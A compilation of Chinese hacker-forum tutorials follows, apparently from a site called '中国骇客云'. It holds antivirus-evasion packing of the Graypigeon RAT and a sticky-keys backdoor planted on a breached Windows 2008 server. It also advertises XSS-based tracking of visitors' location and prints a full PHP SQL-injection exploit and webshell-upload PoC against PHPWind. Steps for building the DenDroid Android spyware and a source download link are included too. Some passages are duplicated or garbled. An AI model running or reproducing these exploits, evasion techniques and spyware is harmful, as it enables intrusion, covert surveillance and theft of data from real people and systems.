中国骇客云教大家如何免杀

免杀,一个在黑客界永不过时的话题。从木马和杀毒软件的第一次交锋开始就始终没有中断过,黑客程序开发者和杀毒软件的技术人员的始终在较量着。面对强大的杀毒软件,病毒的免杀就显的尤为重要。免杀的方式基本分为三种:修改特征码、添加花指令和壳,最后一次,危险漫步就来和大家谈谈加壳这种最常见的免杀方式。

有些动植物长着坚硬的外壳,因为它们都着脆弱的身体,需要用坚硬的外壳来保护自己。根据这一理论,一种叫壳的程序出现了。壳诞生的初衷是为了保护自己的程序不被破解和修改,病毒作为一种特殊的程序,壳同样也可以用于病毒的保护。通过这一现象,壳的用途出现了一个翻天覆地的转变。现在提到壳,大家都会想到病毒的免杀。

一般来说,壳分为两种:加密壳和压缩壳。加密壳主要的作用是对程序进行加密,但加密后程序体积会变大。压缩壳主要用于对程序的压缩,能够减小程序的体积。另外,还有一些特殊的壳既可以加密,同时也可以压缩。

加壳不失为一种不错的免杀方式,但随着杀毒软件的普及和病毒库的日益扩大,越来越多的加壳程序被列入病毒的行列。那么我们还能使用这些壳为病毒免杀吗?YES!但我们要稍微动动手脚了。

如果说单一的添加壳,用不了多久就会被杀,人品不行的一下就被主动防御和云查杀给秒了…

我们可以把一些壳混合起来为程序加壳,也就是题目提到的复合加壳,这样也可以起到免杀的效测试才行。

W(%EL[ZASU3CU`%{N[J23QV.png

我以给灰鸽子加壳为例,给大家一个复合加壳的思路。需要注意的是:要加壳的文件不能是RAR格式的,我这里使用的是没有UPX压缩的灰鸽子。先用加密壳加载灰鸽子服务端,我用到的是国外的一款名为“KeyCrypter”。这个壳的免杀效果非常不错,而且功能强大。但要注意的是:尽量选择一些不常见的加壳程序,加壳要保证一定的数量,不能只加一两个壳。

而且加壳后不等于100%免杀,还要靠我们不断分析测试才行。中国骇客云官方网站hackerschina.org

我以给灰鸽子加壳为例,给大家一个复合加壳的思路。需要注意的是:要加壳的文件不能是

RAR格式的,我这里使用的是没有UPX压缩的灰鸽子。先用加密壳加载灰鸽子服务端,我用到的是国外的一款名为“KeyCrypter”。这个壳的免杀效果非常不错,而且功能强大。

简单介绍一下使用方法,左边是选择要加壳的文件,右边是设置输出文件位置。把下面所有的选项全部选上,这些选项的意思是:反编译、反沙盘等等,我们选上就可以了。然后点击“Crypt File”就为灰鸽子加上了加密壳。

现在还不能添加压缩壳,因为每个壳的兼容性都不一样,我们必须进行资源释放处理。下面我们要使用到“FreeRes”。释放资源后选择“功能”中的“建立可编辑资源”对文件进行资源重建。

接下来我们就用到压缩壳,我选用的是“蚂蚁加壳工具和Mini_pack”,因为他们都是压缩壳,经过我测试,这两个壳在压缩时不需要进行资源释放处理。勾好配置后,找到服务端后进行

二次加壳。压缩完毕,用加壳后的灰鸽子过一下瑞星、卡巴和360,都没有报毒。

中国骇客云教大家Windows2008下文件权限轻松改

在一次内网入侵中,通过安装gina木马,记录下了管理员账号密码。通过这个账号和密码去尝试远程登陆该网段其他服务器,大部分主机都能登陆(先鄙视一下管理员),其中远程登陆一台服务器时,连上去发现是Windows 2008,现在大部分服务器还是Windows 2003,我就想好好的保护这台肉鸡,供自己使用学习。为了防止管理员修改密码,决定在这个服务器上留下自己的后门,首先我上传配置好的木马替换系统system32文件夹下fi_nd,exe文件,但在替换文件时却出现。

替换其他系统文件也替换不了,我又想还是留粘滞键后门吧,把cmd.exe复制到其他文件夹下改成sethc.exe,去替换系统文件夹下面的,发现也是提示需要权限。当我右键一属性一安全一编辑,发现所有配置都是灰色的。

R34[KMG[7%1YX{M]GD[`8$V.png

在安全里面一高级一编辑,新窗口中发现只有一个查看按钮可以点击,原来传统的编辑按钮不存在了。

我点击“查看”按钮,发现里面的所有配置都是灰色的,无法做任何修改。我使用以往的命令行cacls.exe文件来配置其他文件的权限,却提示“拒绝访问”,晕!难道Windows 2008使用管理员账号也不能修改文件权限?后来经过我上网查找资料,发现真正造成这个回题的原因是文件的所有者,在Windows 2008系统中,系统所有文件和文件夹的权限所有者默认都是“Trustedlnstaller”。

在计算机管理里面用户管理界面上找不到这个用户,具体这个用户的属性我没有查找官方的相关说明,不知道它对系统安全具体起到什么作用。我们只需要将文件的所有者“Trustedlnstaller”修改成“Administrators”,那么我们对文件权限的操作就会随心所欲了,我们在“所有者”窗口上,选择“Administrators”,点击应用。这样就可以修改文件的权限所有者。现在我们对文件权限可以进行任何编辑替换了。以前是灰色无法编辑的部分都已经可以进行修改了。

具体文件权限的修改方法我这里就不再做任何说明,和原来Windows 2003上是一样的。我通过修改文件权限,舰利替换粘滞键,留下自己的后门。

在这里想告诉危险漫步的粉丝们,遇到问题要想办法解决,俗话说的好“方法总比困难多”,只有这样我们的技术才会不断进步。

中国骇客云IP地理位置截取,精准度非常高!想使用的会员们可以加入我们噢 ~~

中国骇客云平台将在本平台vip客户端发布网页工具:ip地理位置获取信息。
之前有的人在做hrml5地理位置信息获取,前提必须通过手机点击允许才可以获取目标的信息,弊端:如果用户不点击允许的话是测试不到对方的真实地理位置的,那么必须得需要一些钓鱼等技术让用户点击才可以的。
第二种方法是我们骇客云出的教程使用高德地图以及百度地图谷歌地图等API接口,接入目标网站然后使用xss获取经度纬度页面信息,伪造数据,进行查看目标的真实地理位置,这样操作有点高比较麻烦。得需要自己模拟用户当时的数据。
今天我们介绍一种直接在IP真实地理位置数据库直接查询IP地理位置,根据官网的高德地图接口进行查询。
教程如下:
首先使用ip信息获取,这里官网的ip信息采集页面为:http://hackerschinaip.eu5.org/    因为之前做的aip接口和xss数据获取的,及时手机用户不点击允许都可以获取对方的IP信息。操作如下图:

这是官网的获取数据,直接查看IP就可以。
第二步:进入骇客云平台。
点击开始,打开菜单的应用库,搜索:hackerip地理位置 找到该应用,如下图:

然后点击安装,安装完毕以后。
打开,搜索获取到的IP地址:如下图所示:
查看到的ip地址最后一个是非常精准的,今天我们获取的IP地理位置应该是我们官微上用户的真实地理位置。他当时触发的是官网的xss获取ip、
最后官网的高德应用中查看最后的信息:如下图:

我用的QQ截图,可能上传到官网的时候会出现模糊的现象,不过咱们官网的用户可以亲自去测试。
最后说明一下:该ip数据库的地理位置非常准确。
如果不准确可以进行报错,第二我们并没有申请该站的api接口,嵌入式开发,所以在应用上还得需要手动去看。第三,该应用是有弊端的,经过测试:对于机房服务器的ip地址,使用流量手机的Ip地址,不准确。连入内网的wifi手机ip,办公内网,家庭公网准确率在85%,所以请大家在测试的时候看一下最后数据是否显示街区,如果显示说明成功率已经在85%精确度大概在1到2公里左右。
分界线。
获取目标Ip的方法:
可以自己写xss获取方法,详情查询我们的历史文章。
可以使用网页插件监控的方法。
可以使用qq显ip、
可以用软件查看对方Ip。、
方法很多:百度一下吧。
我们官网用的是:官网页面采集,xss页面采集,官网游客监控采集。
大家也可以使用一些网站统计的代码直接可以获取当时用户访问的Ip地址后台就可以查询的。教程到此结束!感谢支持。

中国骇客云平台Phpwind 注入以及利用,文件上传拿shell

上传漏洞现在很难会出现的,更别说强大的pw了,所以很多朋友是不是认为我这个标题唬人了?不过还确实是上传漏洞,不过呢,这个漏洞的利用需要两个条件,所以说其实很鸡肋,但之前还是蛮好用的,只要满足条件,屡试不爽的。好了,先说条件:
1.必须存在注入,可以注入出$db_siteid,因为前面那里发布的注入(以及其他某些地方的注入),可以轻松得到;
2.必须是IIS6,这个是致命的鸡肋点,漏洞利用的是IIS6的文件解析漏洞(其实不用想也知道,无论dz、pw或者其他cms不会有允许上传php之类后缀文件的)。

由于官方已经在我上报不久一起补丁了,所以我相信应该有人已经通过分析补丁知道漏洞在哪儿了,好了,先看代码(文件是job.php,也很可能在其他可上传的文件中):

...

} elseif ($action == 'uploadicon') {

if (empty($_GET['step'])) {

list($db_upload,$db_imglen,$db_imgwidth,$db_imgsize) = explode("\t",$db_upload);
InitGP(array('uid','verify'));//可以控制的两个参数
$swfhash = GetVerify($uid);
checkVerify('swfhash');//这里很有趣

require_once(R_P . 'lib/upload/faceupload.class.php');
$face = new FaceUpload($uid);
PwUpload::upload($face);
$uploaddb = $face->getAttachs();

echo $db_bbsurl.'/'.$attachpath.'/'.$uploaddb['fileuploadurl'].'?'.$timestamp;exit;

} else {

...

先来看看代码中我标注的有趣的地方,看能否绕过checkVerify(‘swfhash’)。找找checkVerify函数:

function checkVerify($hash = 'verifyhash') {
GetGP('verify') <> $GLOBALS[$hash] && Showmsg('illegal_request');//看参数是啥了
}

于是checkVerify(‘swfhash’)其实就是检查$swfhash了,而$swfhash是通过GetVerify函数获得的,于是看看GetVerify函数:

function GetVerify($str,$app = null) {
empty($app) && $app = $GLOBALS['db_siteid'];//关键就是db_siteid了,而db_siteid可以通过注入获得
return substr(md5($str.$app.$GLOBALS['pwServer']['HTTP_USER_AGENT']),8,8);
}

于是好办了,先通过注入获得db_siteid,然后获取自己的’HTTP_USER_AGENT’(直接构造也行),可以轻松绕过前面的限制,接着就直接看上传类了,$uid可以控制就可以自定义上传文件名了:

<?php
!defined('P_W') && exit('Forbidden');

require_once(R_P . 'lib/upload.class.php');

class FaceUpload extends uploadBehavior {

var $db;
var $uid;
var $attachs;

function FaceUpload($uid) {
global $db,$db_imgsize;
parent::uploadBehavior();
$this->uid = $uid;//这里没有int就悲剧了...
$this->db =& $db;
$this->ifftp = 0;

!$db_imgsize && $db_imgsize = 1000;
$this->ftype = array(
'gif'  => $db_imgsize,                'jpg'  => $db_imgsize,
'jpeg' => $db_imgsize,                'bmp'  => $db_imgsize,
'png'  => $db_imgsize
);
}

function allowType($key) {
return true;
}

function getFilePath($currUpload) {
$filename = $this->uid . '_tmp.' . $currUpload['ext'];
$savedir = 'upload/' . str_pad(substr($this->uid,-2),2,'0',STR_PAD_LEFT) . '/';
return array($filename, $savedir, '', '');
}

function update($uploaddb) {
$this->attachs = $uploaddb;
}

function getAttachs() {
return current($this->attachs);
}
}
?>

晚上写文章的时候,发现貌似phpwind今年3月份发布了针对这个漏洞的一个补丁的…但由于phpwind版本比较混乱,所以有的版本存在,有的版本不存在,然后9月6日的新版本已经都补丁上了~

好了,最后想说的是:其实有的时候,注入可以远远超过其本身的应用,哪怕有的时候不能update,哪怕有的时候密码破解不出来…(也许涉及后话)…

附一,上次那个注入漏洞获取db_siteid:

<?
print_r('
--------------------------------------------------------------------------------
PHPWind v7.5  "ajax" SQL injection/db_siteid credentials disclosure exploit
BY oldjun(www.oldjun.com)
--------------------------------------------------------------------------------
');

if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path
host: target server (ip/hostname),without"http://"
path: path to phpwind
Example:
php '.$argv[0].' localhost /
--------------------------------------------------------------------------------
');
die;
}

function getrand($i)
{
for($j=0;$j<=$i-1;$j++)
{
srand((double)microtime()*1000000);
$randname=rand(!$j ? 1: 0,9);
$randnum.=$randname;
}
return $randnum;
}

function sendpacketii($packet)
{
global  $host, $html;
$ock=fsockopen(gethostbyname($host),'80');
if (!$ock) {
echo 'No response from '.$host; die;
}
fputs($ock,$packet);
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$prefix="pw_";

//modify cookie and agent
$cookie="e7edf_c_stamp=1284046856; cnzz_a2173231=5; sin2173231=none; rtime=0; ltime=1284047146468; cnzz_eid=78886253-1284032004-; e7edf_lastpos=other; e7edf_cknum=AAsNUQgKAQcABms%2FUVoCAFVWVwsCVggIUgNRU1BQDloCA1IDAwkEVwpcBQc%3D; e7edf_ol_offset=291; e7edf_ipstate=1284032143; e7edf_winduser=AAgGVTFYBQEGBlsPAVpUBAMDCVxQBg5dUFRWVAADBQFTBwUHAjA%3D; e7edf_ck_info=%2F%09; cnzz_user=oldjun; e7edf_lastvisit=22%091284046856%09%2Fpw_ajax.php%3Faction%3Djobpop%26nowtime%3D1284047153125%26verify%3D7abd84b0; e7edf_jobpop=1";
$useragent="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Fuck GFW; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/'))
{echo 'Error... check the path!'; die;}

/*get   $prefix*/
$packet ="GET ".$path."pw_ajax.php?action=pcdelimg&pctype=topic&id=1 HTTP/1.0\r\n";
$packet.="User-Agent: ".$useragent."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("in your SQL syntax",$html))
{
$temp=explode("FROM ",$html);
if(isset($temp[1])){$temp2=explode("topicvalue1",$temp[1]);}
if($temp2[0])
$prefix=$temp2[0];
echo "[+]prefix -> ".$prefix."\n";
echo "[~]exploting now,plz waiting\r\n";
}else{
die("Wrong path or not Login!!!\r\n".$html);
}

/*get db_siteid*/
$chars[0]=0;//null
$chars=array_merge($chars,range(30,39)); //hex-numbers
$chars=array_merge($chars,range(61,66));//hex- a-f letters
$db_siteid="";$str="";$sql="";
while (strlen($db_siteid)<32)
{
for ($i=30; $i<=66; $i++)
{
if (in_array($i,$chars))
{
$sql="0x".$str.$i."25";
$packet ="GET ".$path."pw_ajax.php?action=pcdelimg&fieldname=db_name/**/from/**/".$prefix."config/**/where/**/db_name/**/like/**/0x64625F736974656964/**/and/**/db_value/**/like/**/".$sql."/**/union/**/select/**/0x312E2E31%23&id=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: ".$useragent."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
//die($html);
if (!eregi("fail",$html))
{
$str=$str.$i;
$db_siteid.=hex2asc($i);
echo"[+]pwd:".$db_siteid."\r\n";break;}
}
if ($i==66) {die("Exploit failed...");}
}
}
print_r('
--------------------------------------------------------------------------------
[+]db_siteid -> '.$db_siteid.'
--------------------------------------------------------------------------------
');
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
if (is_hash($db_siteid)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}

function hex2asc($str) {
$str = join('',explode('\x',$str));
$len = strlen($str);
for ($i=0;$i<$len;$i+=2) $data.=chr(hexdec(substr($str,$i,2)));
return $data;
}
function asc2hex($str){
$hex=base_convert($str,10,16);
return strlen($hex)==2?$hex:"0".$hex;
}
?>

附二:利用poc

先利用上面的注入exp获取$db_siteid,再运行:
$verify=substr(md5($uid.$db_siteid.$GLOBALS[‘pwServer’][‘HTTP_USER_AGENT’]),8,8)获取$verify
替换下面的$verify:

<form method="post" action="http://127.0.0.1/pw/job.php?action=uploadicon&verify=537f0b79&uid=1.php;" enctype="multipart/form-data">
file:<input type="file" name="file1" size="80" />
<input type="submit" value="gogogo"/></td>
</form>

针对超强手机木马DenDroid的分析与测试(转)骇客云平台教你如何使用手机远程控制程序【分析报告】

赛门铁克的研究人员就在手机移动领域发现了一种新的名为Dendroid木马,可以轻松实现对手机远程恶意操控。而在此前赛门铁克发现了一个名为AndroidRAT的android远程管理软件被认为是第一个恶意绑定软件。然而这款最新发现的运行在http上的Dendroid具有更强功能。

Dendroid能够生成恶意apk,具有如下远程指令功能:

可以删除通话记录可打开网页拨打任意号码通话记录、短信窃取短信拦截上传图片,视频打开任意应用程序做DDoS攻击的节点(会大量消耗上网流量或令手机卡机、死机)可以改变命令和控制服务器

一、服务端web控制台安装

服务端为PHP+Mysql,服务器环境好办,phpnow、xampp等服务器套装可迅速搞定,服务端主要用来记录受控手机的相关信息,并对手机发送相关指令。服务端包解开如下:

搭建好服务器环境(这里省去步骤),记录下服务端的IP或域名,打开reg.php,修改如下地方:

改完后把以上服务端php代码放置到web根目录,然后直接访问http://服务器地址或域名/setup/,即可开始安装部署:

点击begin setup即可进入服务器配置环节,

可以看到,该页面需要设定数据库的相关信息,在操作之前我们先部署好数据库,这里我们使用phpMyAdmin创建数据库dendroid:

打开包里的SQL.sql,复制并导入到dendroid:

即可看到表创建成功:

然后再回到服务器配置页面Step1,输入好相关信息后,即可完成相关部署:

点击Finish Setup,即可进入服务端管理台登录界面,输入配置好的用户名和密码即可登陆控制台:

注:dendroid调用的是google地图API,如要正常显示需使用代理。

二、客户端APK编译

下载Android SDK开发包,导入压缩包中DendroidApk:

导入之后如果提示缺少API包可点window->AndroidSDK Manager下载对应的包:

记得更新时同样要使用代理,在Tools选项里设置(谁让咱天朝把google墙了)。

导入完毕后展开src,可以看到服务端的主要功能模块:

从命名上看能知道各功能模块的大致作用,这里我们只修改下连接服务器的参数部分,确保编好后的APK能连上我们刚才的服务端,打开MyService.java,修改如下:

上面三处均为Base64编码,注意encodePassword部分默认为‘password’的base64编码,如果修改,则需要到服务端修改get.php、get-functions.php、new-upload.php、upload-pictures.php文件中的$_GET’Password’]部分,如图:

修改好后再导出:

生成成功:

三、上传手机,安装执行

安装过程中需要给予该APK一些必要的权限,例如摄像头、定位功能开启权限,方便测试。程序名称和图标在编译前可自行修改。Android版本为4.4.2。

测试环境下控制台机器和手机在同一局域网内(移动数据下建议3G或4G环境)。执行安装好后的APP,会看到定位被调用:

这时,控制台里手机也上线了:

四、主要控制功能介绍

通过控制台我们可以实现控制手机是否静音、亮屏、拦截短信、自动开启后台录音、拍照、视频记录,获取手机短信内容、联系人信息,打开指定app等等功能。

受控手机(安装了恶意APK的客户端)和服务端(WEB控制台)的执行示意图如下:

下面我们通过手机上线和短信截获功能(其它功能原理类似)来介绍上图的具体实现情况:

1.上线

1) 客户端中通过请求控制台的get.php 来实现受控主机的上线和状态刷新。

2) 获取物理标识码:

3)构造向服务端的请求URL

4)Get.php中处理GET方式发送过来的参数值,并通过updateSlave处理这些值(updateSlave在functions.php中定义):

5)functions.php中通过判断bot表中是否有记录过该手机来决定是更新还是插入手机属性信息:

6) 控制页显示结果:

2. 短信拦截

1) 点击如图按钮:

addCommand函数处理,第一个值为命令串’intercept’,第二个值为true:

请求addcommand.php:

2) 把请求命令插入commands表中:

3)客户端通过请求get-funtions.php来获取需要执行的命令:

4) 服务端在验证了Password之后通过UID(上面提到的Android手机物理标识码)查询之前控制台界面请求的动作(即插入到数据库中的’intercept’),最后以如下格式传递给客户端:

5) 判断返回的内容中是否含有“intercept(”,若有则把键‘intercept’的值设置为true:

6) 获取短信内容:

7) 向urlPost请求获取的数据:

urlPost即为message.php

8)message.php收到请求Data后调用addMessage,插入messages数据库,

9) 控制页刷新查询数据库即得到信息:

与手机端收到的信息一致:

3.拍照记录

同上面的执行流程一样,只不过没有自动上传服务端,而是通过手动上传,估计是考虑到该类文件传输占用带宽较多,未防止传输失败,可多次上传:

1) 选择前置或后置摄像头:

2) 拍摄完成

3) 上传类型里选图片:

同样处理函数也是addCommand

命令插入数据库后等待客户端获取命令类型来实施上传操作。

4) 上传命令执行显示:

5) 文件列表出现上传的照片:

6) 下载预览

若想修改图片尺寸可以修改CameraView.java中的如下部分(红框标记处):

五、附件

这里附上dendroid的源码,大家可以学习修改或优化功能。

链接: https://pan.baidu.com/s/1i5r7Pbf 密码: 6f2k